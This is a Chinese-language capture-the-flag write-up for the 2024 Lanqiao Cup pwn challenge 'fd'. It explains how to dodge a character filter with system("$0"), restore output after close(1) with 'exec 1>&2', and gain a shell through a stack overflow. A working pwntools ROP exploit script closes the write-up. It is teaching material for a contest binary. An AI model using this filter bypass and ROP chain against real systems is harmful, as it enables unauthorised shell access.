收获

  • 利用 system("$0") 这种不常见的方式获取 shell

  • 利用 exec 1>&2 重定向绕过 close(1)


(2024年4月27日)【蓝桥杯2024】fd


思路

分析程序保护:

PWN-蓝桥杯2024_fd1.png

IDA 下分析:

PWN-蓝桥杯2024_fd2.png

程序逻辑是比较简单的,首先向 info 所在地址输入 0xE 的长度

PWN-蓝桥杯2024_fd5.png

info 位于 BSS 段上

然后 buf 处存在明显溢出:

PWN-蓝桥杯2024_fd6.png

并且程序中存在 system() 函数:

PWN-蓝桥杯2024_fd7.png

但没有 "/bin/sh"

PWN-蓝桥杯2024_fd8.png

因此,很自然地想到通过 info 往 BSS 段写入 "/bin/sh" 然后溢出 buf 构造 system("/bin/sh")

但如果真是这样,就没必要有这篇文章了哈哈哈

因为发现在输入 buf 后会执行一个 check() 函数

PWN-蓝桥杯2024_fd3.png

这里会检测我们输入到 info 处的数据,不能包含 'b''i''n''/''s'

同时也不能存在连续三个字符为 "cat"

因此,我们构造 system("/bin/sh")system("sh")system("cat flag") 都是行不通的

所以这里要用到一个比较少见的获取 shell 的方式:system("$0")

$0 是 Linux shell 中的一个环境变量,指的是 shell 本身的文件名,因此 system("$0") 的功能等价于 system("/bin/sh")

另外,还有 $1$2 等:

$1 是传递给该 shell 脚本的第一个参数

$2 是传递给该 shell 脚本的第二个参数

但这样也还没有结束,因为即使我们绕过了检测,这个函数的返回值是 close(1)

先来看看 close() 是个什么函数:

PWN-蓝桥杯2024_fd4.png

这里的 fd 明显是文件描述符,也就是关闭了文件描述符 1 的功能

Linux 下的三种文件描述符:

fd = 0:标准输入文件 stdin
fd = 1:标准输出文件 stdout
fd = 2:标准错误输出文件 stderr

因此这里是关闭了标准输出的功能

在获取 shell 后的表现是这样的:

PWN-蓝桥杯2024_fd9.png

可以看到,我们已经通过构造 system("$0") 获取了 shell,但是 lscat 等指令是无法使用的

因为这些指令都需要使用到 Linux 的标准输出,也就是 fd = 1,而这里使用 close(1) 关闭了标准输出

但是可以通过重定向来绕过,使用如下命令实现重定向:

exec 1>&2   # 也可以简写为:exec >&2

PWN-蓝桥杯2024_fd10.png

当然,我们也可以不使用 exec 1>&2,而是直接执行指令,例如:

whoami 1>&2   # 也可以简写为:whoami >&2

PWN-蓝桥杯2024_fd11.png

一些重定向的知识:

1>&2:把标准输出重定向到标准错误
2>&1:把标准错误输出重定向到标准输出
&>filename:把标准输出和标准错误输出都重定向到文件 filename 中

例如常见的重定向:

echo "xxx" > filename.txt # 把 "xxx" 写入到 filename.txt 文件中

脚本

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./pwn")

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./pwn")
else:
	# 远程程序的 IP 和端口号
    io = remote("47.93.142.240", 44180)


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()


io.recvuntil(b"restricted stack.\n")
payload = b'$0\x00'
io.send(payload)

info_addr = 0x601090
pop_rdi_ret = 0x400933
ret = 0x4005ae
system_addr = elf.plt["system"]
print("system_plt --->", hex(system_addr))

payload = b'a' * (0x20 + 8)
payload += p64(pop_rdi_ret) + p64(info_addr) + p64(ret)
payload += p64(system_addr)
# debug()
io.sendline(payload)

# 与远程交互
io.interactive()

结果

PWN-蓝桥杯2024_fd12.png